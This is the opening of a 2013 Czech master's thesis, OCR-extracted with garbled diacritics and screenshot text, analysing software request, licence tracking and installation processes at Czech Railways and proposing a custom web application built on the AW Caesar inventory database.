Informacni systém pro distribuci software v ramci
spolecnosti Ceskych drah

A Software License Management Information System in Ceské
drahy, a. s.

Bc. Martin Novak

Diplomova prace Univerzita Tomase Bati ve Zliné
2013 Fakulta aplikované informatiky




) w N

o

Univerzita Tomase Bati ve Zliné
Fakulta aplikované informatiky
akademicky rok: 2012/2013

ZADANIi DIPLOMOVE PRACE

(PROJEKTU, UMELECKEHO DILA, UMELECKEHO VYKONU)

Jméno a piijmeni:  Bc. Martin Novak
Osobni &islo: A11497
Studijni program:  N3902 Inzenyrska informatika

Studijni obor: Informacni technologie
Forma studia: kombinovana
Téma prace: Informacéni systém pro distribuci software v ramci

spoleénosti Ceskych drah

Zasady pro vypracovani:

. Zpracujte struény prehled soucasného stavu distribuce software v ramci CD.
. Analyzujte potfeby firmy v oblasti evidence a distribuce software.
. Vypracujte navrh feSeni dané problematiky.

. Navrhnéte a vytvoite webovou aplikaci, uvedte ji do provozu a popiste pouzité
technologie.

. Vénujte pozornost zabezpeceni aplikace.
. Vyhodnotte pfinos vytvofené aplikace.

. Vytvoite projektovou dokumentaci vysledného informaéniho systému ve formé
textu a UML diagramd.

. Na zakladé zkuSenosti s praktickym provozem aplikace navrhnéte dalsi moiny
rozvoj.



Rozsah diplomové prace:

Rozsah pfiloh:

Forma zpracovani diplomové prace: tisténa/elektronicka

Seznam odborné literatury:

1.

Nagel, Christian. C-Sharp 2008 Programujeme profesionalné Vyd.1. Brno:
Computer Press, 2009, 1904s. ISBN 978-80-251-2401-7.

MacDonald, Matthew, and Mario Szpuszta. ASP.NET 3.5 a C-Sharp 2008:Tvorba
Dynamickych Stranek Profesionalné Vyd.1. Brno: Zoner Press, 1584s. ISBN
978-80-7413-008-3.

. Brust, Andrew J., and Stephen Forte. Mistrovstvi V Programovani SQL Serveru

2005 Vyd.1. Brno: Computer Press, 2007. 848s. ISBN 9788025116074.

. Evjen, Bill, Scott Hanselman, and Devin Rader. ASP.NET 3.5 V Jazycich C-Sharp

a Visual Basic Vyd.1. Brno: Computer Press, 2009. 1600s. ISBN 8025120694.

Reynolds, Mark C. JavaScript: Profesionalni feeni 1. vyd. Brno: UNIS, 1997. ISBN
0789707896.

OWASP. OWASP Top10 - 2010. [onlinel. [cit. 2012-10-24]. Dostupné z:
https://www.owasp.org/images/0/0f/OWASP_T10_-_2010 _rcl.pdf

Vedouci diplomové prace: Ing. Bc. Pavel Vafacha, Ph.D.

Ustav informatiky a umélé inteligence

Datum zadani diplomové prace: 22. anora 2013

Termin odevzdani diplomové prace:  22. kvétna 2013

Ve Zliné dne 22. Gnora 2013

prof. Ing. Vladimir Vasek, CSc.

; LS.

dékan




ABSTRAKT

Vytvotena webova aplikace slouzi uzivateli k zadani pozadavku na instalaci potfebného

software ve firmé CD - Informaéni Systémy, a.s.

O pozadavcich je informovano oddéleni informatiky. Schvalovatel na zédkladé opodstatnéni
pozadavku a poctu volnych licenci zamitne, nebo schvali zadost. Instalace schvalené¢ho

software provede bud’ technik, nebo probé¢hne automaticky.

Ve firemni struktuie aplikace dale slouzi pro evidenci poctu licenci a evidenci

schvalovaciho a instalacniho procesu.

Kli¢ova slova: Evidence software, Proces zadosti, Instalacni proces, SCCM, WMI, Psexec.

ABSTRACT

The created Web Application serves to the user for an assignment of the requirement for an

installation of the software needed in the CD — Informational Systems a. s. company.

The Department of Informatics is informed about the requirements. On the base of the
requirement foundation and the number of available licenses, the approver either declines
or approves the request. The installation of approved software will be made by a technician

or it will run automatically.

In the corporate structure, the application serves also for number of licenses record and the

record of approving and installation process.

Keywords: Software Record, Process of Requirement, Installation Process, SCCM, WMI,

Psexec.
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UvVOD

Objednavka potiebného software a jeho naslednd instalace ve firemnim prostfedi byva
velmi slozity proces, ktery je zpocCatku iniciovan firemnimi standardy, poté je jiz v rezii
dotceného pracovnika nebo jeho nadfizeného. Zvlaste ve sfére velkych korporaci, v nichz
jsou profese velmi rozmanité, je potiebné softwarové portfolio zna¢né Siroké. Cely tento
proces je nutno zdokumentovat, at’ se jiz jedna o seznam veskerého software, o naslednou

evidenci poctu kust jednotlivych licenci ¢i o naslednou instalaci servisnimi pracovniky.

V celé firemni struktufe je od objednavky uzivatelem pfes jeji schvalovani povéfenymi

pracovniky az po vlastni instalaci na uzivateliiv pocitac zainteresovano mnoho pracovnikd.

Téma této diplomové prace vzniklo na zakladé poZzadavki oddé€leni technické podpory, zda
by bylo mozné skloubit ve firmé jiz zavedeny systém na evidenci hardware a software AW
Caesar a naslednou instalaci software, at jiz pracovnikem IT podpory nebo nové

implementovanym feSenim pomoci bezobsluzné instalace pfipravenych MSI balicka.

P4 v

V teoretické ¢asti diplomové prace se zaméfim na jiz zavedené postupy od objednavky az

po konecnou instalaci software, a to véetné jeho evidence.

Praktickd Cast diplomové prace by pak méla nabidnout kompletni analyzu a podrobny
popis piipadd uziti vytvofené aplikace. V navaznosti na né¢ hodldm rozebrat technické
moznosti vlastni bezobsluzné instalace pomoci nastroji PsExec, WMIc, NetCat, SCCM.
Vlastni instalace mé byt také podpoiena moznosti dalkového buzeni pocitace po siti. Tuto
moznost rovnéZ planuji popsat Vv této diplomové praci. Na zavér je mym cilem uvést

podrobny popis aplikace véetné datové struktury a jednoduché uzivatelské napovédy.



UTB ve Zliné, Fakulta aplikované informatiky, 2013

10

. TEORETICKA CAST



UTB ve Zliné, Fakulta aplikované informatiky, 2013 11

1 ANALYZA SOUCASNEHO STAVU

Sprava software je soubor Cinnosti, mezi které patii zavedeni do systému, evidence a
nasledna udrzba. Vse je popsano v souboru praxi provéfenych mezinarodnich koncepta a
postuptt ITIL, které umoznuji 1épe planovat, vyuzivat a zkvalitiovat sluzby. Dulezitou
soucasti spravy software je vazba na licenci, tedy nakup poticbného software a jeho

evidence.

1.1 Evidence pomoci AW Caesar

K evidenci software a hardware ve spole¢nosti Ceské dréhy, a.s. a jejich dcefinych

jednotkach slouZzi program AW Caesar 7 firmy Free RW soft.

Tento software na bazi klient - server slouzi k evidenci hardware a software pocitaci nejen
ve spolegnosti CD, ale také naptiklad ve velkych firmach jako jsou Ceskéa posta, s.p. &i
AZD Praha s.r.o.. Pouziva ho také Policie Ceské republiky pii softwarovych kontrolach.
Také spliiuje viechny pozadavky kladené usnesenim vlady Ceské republiky &. 624/2001.
Pouzivana verze 7 podporuje pouze platformu Microsoft Windows pouzivanou na

X86/X64 pocitacich, jiné platformy ani mobilni zatizeni nejsou v této verzi podporovany.

Tento program je vyvijen v prostiedi Delphi firmy Borland a pro datovou zakladnu je

vyuzita proprietarni rela¢ni databaze Interbase v. 6.01 (7.1, 7.5, 2007) téhoZ vyrobce.
Vlastni program je roz¢lenén do tfi moduli.

e Scanner HW a SW, ktery na pocitaci provadi sbér dat. Vysledny soubor je posléze
odeslan k analyze a vyhodnoceni dle védomostni databidze do eviden¢ni cCasti

programu.

e AWAnalyser, tento modul dle aktualizované¢ védomostni databdze vyhodnocuje
obsah pocitace (napi. instalované programy, uloZené instalaéni sady, keygeny,
cracky a dale rozliSuje soubory dle pfipony, hlavicky (obsahu) souboru, na video,

audio, obrazky, atd.). Program dokéze zaznamenat i pfejmenované soubory.

e Evidencni ¢ast AW Caesar - datova zakladna Interbase ulozena na serveru. Zde jsou

ulozeny veskeré pofizené informace, at’ jiz manualni nebo automatickou cestou.
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V prostiedi Ceskych drah, a.s. (dale jen ,,CD*) se pouziva takzvany trojuroviiovy systém.
Je roz¢lenén na Slave, Master a Auditor. Slave je spravce na nejnizsi Grovni, pofizuje data
a ma na starosti dil¢i celky jednotek. Master zastieSuje celou jednotku v ramci
celorepublikové plisobnosti, spadaji pod né&j jednotlivi spravei na urovni Slave. Nejvyssim
¢lankem je auditor, pod kterého spada cela spolecnost. Vytvari nové polozky v databazi,
zajistuje aktualnost katalogti a Ciselnikt, vklada a prerozdéluje licence v ramci celé

spole¢nosti.[1]

AUDITOR

MASTER

Obr. 1. AW Caesar — Ttitroviiovy systém

Novy pocitac je ruéné zaveden do softwarového systému firmy Free RW soft AW Caesar a
zaroven je mu piidéleno jedine¢né rodné Cislo. Spravcem aplikace jsou pofizeny udaje o
jménu uzivatele, lokalitnim umisténi, vyrobnim ¢islu pocitace a jiné udaje, které nelze
vyCist strojové. Nasledné je pocita¢ oskenovan pomoci agenta, ktery je v pravidelnych
meésicnich intervalech spoustény pomoci logon skriptu z Active Directory. Agent sbira
informace o pouzitém hardware a instalovaném software a vysledna data jsou ulozena do
souboru v pocitaci s ptiponou IPC, ktery je nasledné kopirovan na FTP server k dalSimu

zpracovani pomoci vyhodnocovaciho modulu AW Caesaru. [1]
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1.2 Zakladni software

Ve firemnich standardech je dil¢im jednotkam ptidélen zékladni balicek software na nové
pocitace, pro ktery je zajiStén pfesny pocet licenci. Je to naptiklad operacni systém,
antivirovy software, postovni klient Lotus Notes. Dale jsou to bezplatné utility (Freeware)
urcené 1 pro komer¢ni vyuziti, jako jsou napiiklad spravce archivi - 7zip, prohlizec
dokumentd typu PDF (portable document format) - Acrobat Reader, VPN Kklient a

souborovy manazer - Free Commander.

1.3 Zadost o software

V piipad¢, kdy nestaci standardné instalovany zakladni software a uzivatel potfebuje nutné
ke své praci specializovany software, je nutno rozsifit instalaci. O potizeni software a jeho

instalaci zada uzivatel pocitace nebo jeho bezprostiedni nadiizeny spravce licenci.

Tyto zadosti jsou zasilany mnoha kanaly, a to elektronickou postou nebo pomoci

jednoduchého pozadavkového softwarového néstroje.

V piipad¢ pozadavkového nastroje je pro tento piipad ziizena jednoducha agenda v

programu Lotus Notes.

Lotus Notes je produktem firmy IBM, jenz je zaloZeny na sitové architektuie klient -
server, ktery se orientuje do oblasti groupware. Klient je pln€¢ desktopovy a bézi na
pocitacich uzivateli. Mimo poStovniho klienta v ném naleznete 1 sluzby s podporou
planovani Casu, tymovymi kalendafi, hlidani ukol, adresat s vaSimi kontakty a
provazanymi rychlymi zpravami. Prostfedi se stard 1 o uZivatelské ¢i tymové dokumenty,
dokéze je dostateCné zabezpecit a pridélit vS§em piisluSnd prava a pfitom zajistit 1 jejich
spravné sdileni. Serverova €ast se jmenuje Lotus Domino, ke kterému se klienti pfipojuji a
na kterém bézi firemni aplikace. Lotus Notes/Domino se da oznacit za platformu pro vyvoj

groupware aplikaci. [2]

Ve formulafi této aplikace uzivatel manualné vyplni veskeré pozadavky a odesle jej ke
schvaleni povétenému pracovnikovi informatiky. Tento pracovnik pozadavek bud’ zamitne,

nebo jej schvali (obr.2, 3).
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Odeslatke schvaleni %4 Zaviit Ol
Novy pozadavek na vyjimku -
f5)
Dle smémic "S-10-19 Standard uZivatelské stanice" a "S-10-18 SW Management” @
@
Aktivita: Sestaveni Zadosti
Osloveny G¢astnik:
Informace o Zadateli:
Zadatel: Novak Martin Bc.
Spolecnost: CD - Informacni Systémy. a.s.
SAP ID: =
Funkce: Specialista VS
NS: 73040112
Schvalovatel:
Informace o vyjimce:
Predmét vyjimky € Instalovat Software
 Pozaduji vyjimku
Popis/upfesnéni vyjimky
Zddvodnéni vyjimky Pa
é IT systémy (Adresa se prebira z piihlaSené stanice. Adresu lze zménit)
IP adresa 101619,
Doménové jméno Fly
Jméno aplikace Tnep e
Po § pozaduji instalacil
[~ Pokud pole zatrh bude po schvaleni poZadavek icky odeslan na KS.
Dalsi udaje:
Poznamky:
’ v
Obr. 2. Lotus Notes — Novy pozadavek
» ~ O}
EVIDENCE VYJIMEK ICT CD-
1\]
1S
o)
Nova Zadost €. 2adosti |Firma ~ | Typ ~ Fedmét viiiml ~ Datum pfijeti Zadatel-jméno ~ [Popis neshody |Ohodnoceni rizik Plan Fizeni rizik Zdin @
|002422012 (o3} T — 19.07.2012 3._Administratorskd p Riziko ma dopad r UZivatel odpovidd N/ 4
Ke schyaleni NS 0025/2012 CDT-IS 19.07.2012 Nastaveni Adminis NI
0026/2012 CDT-IS 19.07.2012 Administratorskd p pt
Ke schvleni SW 0027/2012 CDT-IS 19.07.2012 nastaveni adminis! s
0028/2012 CDT-IS 19.07.2012 Administratorska p N
e hviond 0571/2012 CD-IS 19.07.2012 Irprava Admiv}, swh (114
0718/2012 CD-IS set other 20.11.2012 Zadam o vyjimku - R
Schvalené SW 0729/2012 CD-IS set Admin, BIOS 05.12.2012 MS Visio 2010 Proi S
0001/2013 CD-IS set Admin 03.01.2013 Pozaduiji pridéleni P
S 0003/2013 CD-IS set Admin 04.01.2013 Piid&leni administr Z
Schvalené
Zamitnuté SW
Zamitnuté
Prehled Zadosti SV
Prehled Zadosti

Obr. 3. Lotus Notes — Evidence vyjimek a pozadavkn

Druhou moznosti je odeslani zddosti 0 pozadovany software nutny k vykonavani povéiené

agendy svému nadiizenému pomoci elektronické posty. V ptipadé opravnéného pozadavku,
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zada nadfizeny manazera SAM (Software Asset Managment), ktery pozadovany program

schvali nebo mtlize navrhnout jiny funk¢né¢ adekvatni software.

V kazdé jednotce nejsou pozadavky evidovany pomoci aplikace, ale vzdy musi byt
schvaleny povétenym spravcem licenci, zde SAM (Software Asset Manager), at' jiz
individualn¢ kazdému uzivateli nebo systémové na ucelenou kategorii software. Funkce

SAM muze byt naptiklad dle specifikace AW Caesar obsazena spravcem na urovni master.
Cely proces schvalovani je zobrazen ve form¢ diagramu na obrazku (Obr. 4).

Pozadavek
UZivatele

[s: hvéleno nadﬂzenyrﬂ

NE

e<>é—

[ Schvaleno SAM ]
& NE

Zamitnuto
| Dostupna licence '

NE

O~

Nakup
licence

C Instalace
l Kontrola v DB AW Caesar '

;

Hotovo

i

Obr. 4. Proces schvalovani
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V ptipadé kladn¢ schvaleného pozadavku je informovano oddéleni IT o pozadavku na
manualni instalaci schvaleného software, kde povéfeny technik pozadovanou aplikaci
nainstaluje. Informace o nainstalovaném software se projevi v eviden¢nim programu AW
Caesar az po opétovném oskenovani pocita¢e na konci kalendainiho mésice a nasledném
zpracovani databaze auditorem. Poté musi spravce na trovni Master nebo Slave rucné

pridélit Cislo licence nové nainstalovanému software v databazi programu AW Caesar.

V celém tomto procesu je zainteresovdno vice povéfenych pracovnikli a informace o

provedenych procesech jsou Vv jednotlivych systémech uloZzeny oddélen¢.
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2 POUZIVANY SOFTWARE

Cela skupina Ceskych drah disponuje zhruba 7 tisici poéitadi. Nejsou to jen osobni
pocitace, ale také servery a technologické pocitace. VSechny tyto pocitae jsou navic
vybaveny rozliénymi druhy software, pocinaje operacnimi systémy a konce neptebernym
mnozstvim aplikaci. V portfoliu rozsifeného licencniho software je v celém holdingu
pouzivano na 640 druhii software a vice nez 1400 druhti freeware. Pocet licenci na jeden

druh software je zavisly dle typu a specializace programu od 1 az po 8000 kust.
Jako piiklad zde uvadim nejpouzivangjsi software ze dvou zakladnich kategorii [3].
Systémovy software: (umoznuje efektivni pouzivani pocitace)

e Operacni systémy: Microsoft Windows XP, Vista, Windows 7, Server 2000, Server
2003, Server 2008, systémy na bazi Linux/Unix SUSE Linux, RED HAT,
MACOSX — Snow Leopard, Lion, Mountain Lion a jiné

e Utility a ovladace hardwarovych zafizeni
Aplikacni software:

e Kanceldisky software (Microsoft Office od verze 2002 az po 2010, v licencich

Standard, Professional, Premium)

e Vyvojové nastroje (Microsoft Visual Studio, Oracle Forms, SQL Developer,

Enterprise Architect)
e ERP (SAP R3, Microsoft Dynamics, Ventus)
e DTP a GIS (Autocad, Microstation, Misys, ArcGis)
e Databazové systémy (MS SQL, Oracle, MYSQL, Informix)
e Antivirové programy (McAfee, Avast, AVG, Fsecure )
e Security programy (McAfee Enpoit Encryption, Truecrypt )
e Grafické programy (Adobe design collection, Zoner PhotoStudio)
o Utility (RealVNC, audio a video kodeky, Total commander, Cisco VPN klient)

e Vyukovy a nau¢ny software (E-tutor, Encyklopedie mzdového tucetnictvi, Lingea

lexikon)
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e Postovni programy (Outlook, Outlook Express, Lotus Notes)
e Internetové prohlizece (IE 5- 9, Mozilla Firefox, Google Chrome, Safari)

e Aplikace tvofené na zakazku (Fire NX, Evidence posty)

2.1 Casova naro¢nost schvalovaciho procesu

Odhad Casové narocnosti je velmi komplikovany, protoze v celém schvalovacim procesu je
zainteresovano vice osob. Dle kvalifikovaného odhadu vyplnéni formulafe ¢i emailova
zadost zabere Zadateli mezi 10 az 20 minutami. Schvalovatel musi ovéfit dostupnost
software (pocet volnych licenci), pfipadné iniciovat obchodni oddéleni k nakupu
software/licence a taktéz posoudit opravnénost pozadavku. Nasledn¢ zada pozadavek k
provedeni instalace pro IT technika v dané lokalité, pokud byl pozadavek schvalen. Touto
¢innosti stravi cca 20 - 40 minut. Instalaci provadi technik v lokalité, kde doba instalace je
v rozmezi 30 minut az 5 hodin, dle naro¢nosti software a dojezdové vzdalenosti. Déle je

tteba zohlednit prodlevy mezi jednotlivymi fazemi ve schvalovacim procesu.

Po secteni primérnych ¢asit ukond jednotlivych pracovnika je potfebna doba k vyfizeni
jednoho pozadavku zhruba 2 hodiny ¢istého ¢asu. AvSak celkova doba od podani Zadosti,
az po vyslednou instalaci programu se pohybuje v fadech nékolika dni. Vse je zavislé na
nckolika faktorech, jakou je rychlost pfeddavani Zadosti mezi jednotlivymi v procesu
zacastnénymi osobami a piipadného nakupu software. Cely Casovy prubéh je uveden na

obrazku (Obr. 5).
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Uzivatel
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NadFizeny - Schvalovatel
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SAM - Software Asset Manager

Nakup SW

Technik IT - Instalace
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Legenda
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Obr. 5. Casovy diagram
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3 DOSTUPNA SOFTWAROVA RESENI

Jelikoz se jedna vesmés o individualni feSeni, neexistuje na trhu mnoho programd, které by

nabizely komplexni feSeni evidence a distribuce software v ramci velké spolecnosti.

Software pro evidenci hardware a software, vcetné vedeni firemniho helpdesku je na trhu
pomérné mnoho. Jen v Ceské Republice tyto aplikace vyviji a nabizi spole¢nosti jako
napiiklad: MICOS spol. s r.0. a jeji produkty Spravce IT a helpdesk [4]. Dalsi je spole¢nost
MARBES CONSULTING s.r.o. a produkt Helpdesk [5]. Druha nejznaméjsi firma
TruconnectXion a.s. nabizi produkt Audit Pro [6], ktery mimo evidence hardware, software
a helpdesku nabizi SMS/SCCM Connector. Ten rozsifuje moznosti eviden¢niho programu
na sbér informaci pomoci SCCM serveru. Bohuzel Connector je pouze jednosmérny a
informace pouze vy¢ita ze serveru. Spole¢nost ADVANTteach s.r.o. nabizi MagikInfo [7],
ktery nabizi mimo evidenc¢ni casti také konzolu pro hromadnou instalaci software a zaplat
operaéniho systému. Instalace zde slouzi spiSe jako doplné€k pro ulehéeni préace

administratora, nikoli jako softwarovy objednavkovy proces.

Aplikace, které nabizi funkénost objednavkového a zaroven distribuéniho systému
software, existuji v soucasné dobé¢ ptiblizné tfi. Jedna se vzdy o komeréni feseni. V piipade
prvnich dvou firem 1E a Matrix42 se pfevazné jedna o individualni implementaci aplikace
na miru pro firemni klientelu. TaktéZ ceny téchto produktl jsou nevetejné, tedy zcela

individualni a jsou zavislé na potifebach konkrétniho zakaznika a rozsahu feSeni projektu.

Posledni produkt Software Catalog je soucasti MICROSOFT SYSTEM CENTER
CONFIGURATION MANAGER 2012, ktery nabizi zakladni funkce samoobsluzné

instalace s povéfenim. Jednotlivé produkty jsou popsany nize.

3.1 Shopping

Jednim z velikanl je spolecnost 1E, kterd nabizi produkt Shopping™, jenZ poskytuje
uzivateli po pfihlaseni a autentifikaci do webové aplikace vybér software, proces schvaleni

a jeji naslednou instalaci pomoci ,,Microsoft System Center 2007 Configuration Manager.

SHOPPING umoznuje uzivatelim ziskat software, ktery potiebuji ke své praci online,
pomoci automatizované zadosti, schvaleni a dodaciho/instalacniho procesu. Tento produkt
také dramaticky sniZuje pocet vlastnich pozadavkil na instalaci software, které prochazi

HelpDeskem. Uzivatelé jsou zde schopni ziskat software a sluzby, které potiebuji, béhem



UTB ve Zliné, Fakulta aplikované informatiky, 2013 21

neékolika minut. Pro dal$i snizeni nakladi mize obchodni odd€leni pronajmout aplikace
uzivatelim na dobu, kterou nezbytné pottebuji, a po uplynuti doby prondjmu opét
odinstalovat. Touto funkci se taktéz snizi financni ndklady na software potiebny v celé

organizaci. [8]
Nabizend funkénost SW Shopping:
e Automaticka migrace na Windows 7
e Kontrola a schvalovani vybraného SW ManaZerem
e Pronajem Software
e Integrace s ,,Config Manager 2007 v¢etné verze 2012
e Kontrola stavu objednavky - reporting
e Kontrola a evidence SW licenci
e Rychlé nasazeni SW
e Vlastni SW obchod Setfi finan¢ni prostredky
Reference:

Produkt firmy 1E Shopping vyuziva po celém svété mnoho velkych korporaci zvucénych

jmen, jako jsou napfiklad firmy:

e DELL
e 3M
o AT&T

e British Airways

e British Telecom

e Ford
e Nestlé
e Pfizer

e Princeton University

e Shell
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e Thomson
e University of Southern Denmark
e USAmy

e US Air Force for the Pentagon

e Verizon
@ Shopping
SHOPPING | HELP COMPLETED | PENDING | PREFERENCES
nplated Loggad in 3% Shopper01 on WIN
Search Applications: 59 1/ shops
- CATEGORIES COMPLETED ORDERS - ALL
Summary: 4 Approved Orders and 0 Rejected Orders
Applications  Status  Machine Category Cost Requested Lo, 00 0d Installed Uninstalled Uninstall

05/07/2011 05/07/201¢” 05/07/2011
& . A Installed WIN? Utilities $0.00 N iei27 11:19:27 &L 11:45:02

Free POF reader

24/06/2011 24/06/2011

Adobe CS5 24/06/2011
Installed xpO1 Productivity $605.00 09:49:05 09:49:05 09:52:43

# [0} Bhotoshoo
Professional photo editing - the industry standard for image manipulation

Micrezaft Visio 24/06/2011 24/06/2011
Approved xp01 Productivity $220.00 09:27:06

) i,-_’ o e 09:27:06
Professicnal charting and diagrams
Access to [T Agoioved 608 Network 50.00 24/08/2011 24/06/2011

Resources 09:26:50 09:26:50

[{,)o&mﬂ:ﬂs&m

View knowledge base articles

Obr. 6. Shopping 1E [8]

3.2 Service Store and the user portal

Dalsi komeréni feSeni nabizi firma Matrix42 a jeji produkt ,,Service Store and the user
portal“. Tento portal v sobé zahrnuje modul evidence servisnich pozadavkl tzv.
"Helpdesk" a taktéz softwarovy obchod se spravou licenci a naslednou instalaci. Také zde

se objednany softwarovy produkt instaluje automaticky pomoci nastroje SCCM.

Tento produkt nabizi komplexni feSeni pro IT pozadavky zékaznikii a je pouzitelny,
kdykoli je nutné zajistit nepietrzitou dostupnost IT sluZeb. Systém informuje o ndkladech a

zavazcich s maximalni uzivatelskou privétivosti, a to jak pro koncové uzivatele, tak i pro
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technicky personal. Aplikace nabizi vSe, co je potieba pro komplexni fizeni sluzeb, a stejné

tak spliuje pozadavky na model uspésné¢ho podnikani v IT.

Vsechny IT sluzby jsou ptehledné zobrazeny v katalogu sluzeb. Piedem definované IT
sluzby jsou nabizeny, a pokud je sluzba schvalena, je automaticky instalovana a
fakturovana. VSechny IT nabidky jsou ptehledné zobrazeny v portalu sluzeb vcetné jeho
poskytovatele s prehlidkou jeho portfolia. Uzivatelé mohou vlozit, sledovat a dokonce

stornovat pozadavky na servisni zakazky [9].
Nabizena funk¢nost:
e Intuitivni IT katalog sluzeb a portal servisnich pozadavkl
e Integrované IT sluzby fizeni zivotniho cyklu
e Vestavénd distribuce softwaru & sprava aktiv
e Automatizované pracovisté konfiguraéni spravy
e Efektivni ITILv3 shodny s Service Desk a SLA komplexnim fizenim
e Komplexni Sluzba Gi¢tovani & fizeni nakladt
Hlavni funkce katalogu sluZeb:
e Zobrazeni vSech standardnich sluzeb
e Zobrazeni seznamu sluzeb dle opravnéni a typu pracovisté
e Usnadnéni vlastni sluZzbu pro standardni sluzby
e Zobrazeni a alokace nékladii na bézné sluzby
e Zpracovani zakdzky - od zadani objednavky az po expedici
e Integrace standardizovanych schvalovacich procest
e Modelovani uzivatelem definovanych schvalovacich procesii
e Zaclenéni distribuce softwaru
¢ Plna kontrola nad naklady na IT
e Objednavky jsou automaticky uctovany na ndkladova stiediska

e Zpravy v redlném case o skutecné spotiebé sluzeb
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e Analyzy trendu, snizovani naklada a zdroji planovani

e Uzivatelsky pfivétivé prezentace IT sluzeb

My Account Documentation Administration I'I lrlmz |

Home | Inventory Software Packages Troubleshooting

Home Current information

F Welcome -
L #.10.2010 - Installation successfull

The Enterprise Manages is instaled and active

'l Inventory }__-14 Software
— ,|l Search compuler mventory (hardware, Software, SCCM ] instal software remate using EM or SCCM Agent, Push Roliout,
Agent, operating system... ), Creale Analysis, Previous User, 4/ create Cobections, track Rollout status

Man User, PC Location

. Packages r—=" | Error handling
Confgure SCCUW Package, upload packages to SCCM, monitor ‘tﬁ Cantral EM and SCCM Agents remotedy, display EM Log Files
distribution status, import packages from SCCM - for Chent and Server, determine EM and SCCM coverage.

Obr. 7. Matrix 42 — Service store and user portal [9]

3.3 Software Catalog - (Microsoft System Center Configuration
Manager 2012)

V posledni verzi rodiny produktd System Center 2012 spole¢nosti Microsoft mimo dalSich
vylepseni a ptidanych balicku pfidal Microsoft také podporu takzvaného aplika¢niho
katalogu. Zde si muze piihlaSeny uzivatel pomoci webového formulare vybrat jen
administratorem pfipravené instalacni softwarové balicky. U kazdého balicku lze také
zvolit, zdali je nutné schvaleni, nebo lze software instalovat ihned. Pokud je nutno software
schvalit, musi ho odsouhlasit administrator pfimo v konzoli SCCM manazeru. O vysledku
schvaleni je informovan uzivatel pomoci ,,SC Notification® (Oznameni aplikaci v dolni
listé systému Windows). Dale pak uzivatel mize na zalozce ,,My Application Requests*
sledovat stav svého pozadavku a, pokud mu byl pozadavek schvélen, mize poté¢ vyzadanou

aplikaci nainstalovat [10].
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Welcome, SAVILLTECH\Administrator

PiVelolileTileal @ =1 [os Ml My Application Requests My Devices . =
Search Application Cataiog i
BROWSE BY Showing 1 - 1 of 1 results
Category Publisher NAME VERSION PUBLISH  CATEGORY REQUIRES APPROVAL
Al B office 2010 2010 Microsoft No
f‘J Microsoft Office 2010
No description available
More Details
o Micosot
) ) < System Center2o12
SavillTech First  Prev. 1 Next Llast Configuration Manager

Obr. 8. Aplication Catalog z SCCM 2012 [10]
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4 NEVYHODY STAVAJICIHO ZPUSOBU OBJEDNAVANI
SOFTWARE A NABIZENYCH HOTOVYCH RESENI

e Uzivatel¢ vypliuji pozadavky na ndkup a instalaci software rozlicnym,

nejednotnym zptsobem.

e Nepiehledna e-mailova komunikace mezi uzivatelem, schvalovatelem, technikem a
dalSimi zucastnénymi osobami.

e Vsechny dotéené osoby nemaji prehled, v jakém stavu jsou jejich pozadavky, a
zpétné vyhledavani je slozité.

e Nemoznost tvorby reportii.

Existuji tfi mozné zpisoby, jak reagovat na pozadavek vzniku nového integrovaného

informacniho systému a fesit situaci.

Prvnim z nich je nakup hotového softwarového produktu parametrizovaného na podminky
podniku. Mezi jeho vyhody patii rychlejsi zavedeni, zaru€ena funkcnost a dalsi vyvoj,
z dlouhodobého hlediska je pak tato varianta méné finan¢né€ naro¢na. Jeho nevyhody
spocivaji v tom, Ze vZdy Uplné& nespliuje veskeré pozadavky kladené uZivatelem a je zde

urcita zavislost na dodavateli produktu.

Druhou moznosti je rozvoj existujiciho feSeni. Vyhodou je maximalni vyuziti existujicich
zdrojui a investic, niz$i okamzitd finan¢ni naro¢nost a rychlost, dale pak jsou okamzité
uspokojeny potieby firmy bez faze ptizpisobeni. Mezi jeho nevyhody patii mozné vyssi
dlouhodobé¢ néklady, mozna mén¢ kvalitni systém a skutecnost, ze nemusi odpovidat vS§em

budoucim pozadavkim.

Posledni moznosti je vyvoj nového systému na miru. Mezi jeho pozitiva patii, ze piesné
cili na pozadavky a potfeby firmy a poskytuje vyhody fizeného vyvoje. Naopak mezi jeho
nevyhody patii celkoveé drazsi feSeni, Casova narocnost vyvoje, riziko omezené¢ho dalSiho
vyvoje. [11]

Veskeré zde vyse uvedené a recenzované komercni programy jsou vzdy tésné svazany

s SCCM, pomoci kterého jsou zaroveil evidovany 1 instalovany programy na klientsky
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pocitac, tedy ucet, ze kterého je uzivatel piihlaSen. Dale zde neexistuje systém instalacnich

chybi podpora zadosti k nakupu nového, Vv systému neexistujiciho programu.
Cely systém je izce Svazany nutnosti pouzit System Center Configuration Manager. Tento

software také vyzaduje ke své c¢innosti soucasnou instalovanou licenci minimalné

Windows Server 2003 a nov¢jsi a zaroven téz databazi Microsoft SQL Server 2005 a vyssi.

Z téchto duvodu je pristoupeno K vyvoji vlastniho feSeni, které bude vyuzivat data ze

stéZejni existujici databdze AW Caesar.
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5 NAVRH VLASTNIHO RESENI

Veskera dostupna komeréni feSeni nabizi ovéfovani uzivateli pomoci sluzby ,,Active
Directory* a protokolu LDAP, ovSem nabizeny software v katalogu je nutno nejprve ru¢né
poridit a poté zaradit do SCCM databdze. Totéz plati i o evidenci hardware, ten zde
zajistuje klient SCCM bézici na kazdém pocitaci. Instalovany a bézici klient SCCM je

nutny pro veskeré ukony na daném pocitaci, at’ jsou to zjiStované ¢i provadéné operace.

Navrh vlastniho feSeni je zaloZzen na databazi z firemné dlouhodobé pouzivané evidence
AW Caesar, ve které je zaveden veskery pouzivany software, véetné evidence poctu
pouzitych a volnych licenci, dale také veskery pouzivany hardware, v¢etné personalnich a
geografickych 1daji. Moznosti vlastni instalace jsou rozvinuty od ruéni instalace

technikem, az po vybér z vice druhii automatické instalace.

5.1 Funk¢ni pozadavky

5.1.1 Autentifikace uzivatele

Aplikace musi pfed zahdjenim prace ovéfit vSechny uZzivatele proti Active Directory a
databazi z AW Caesar. Veskeré ukony budou vazané na ovéfeni, bez ovéfeni nelze
s aplikaci pracovat, ani prohlizet pofizend data. UZivatelé budou mit oddélenou funkénost

dle specifikovanych roli (uzivatel, schvalovatel, technik, obchodnik, administrator).

5.1.2 ZaloZeni nového poZadavku na instalaci software

Po ovéteni identity miize uzivatel zalozit pozadavek na instalaci aplikace pomoci vybéru
zjiz zaveden¢ho katalogu software na uzivateli ptidéleny hardware, ktery vybere

z nabidky. Pokud uZzivatel nema ptidéleny pocitac, poZadavek nelze provést.

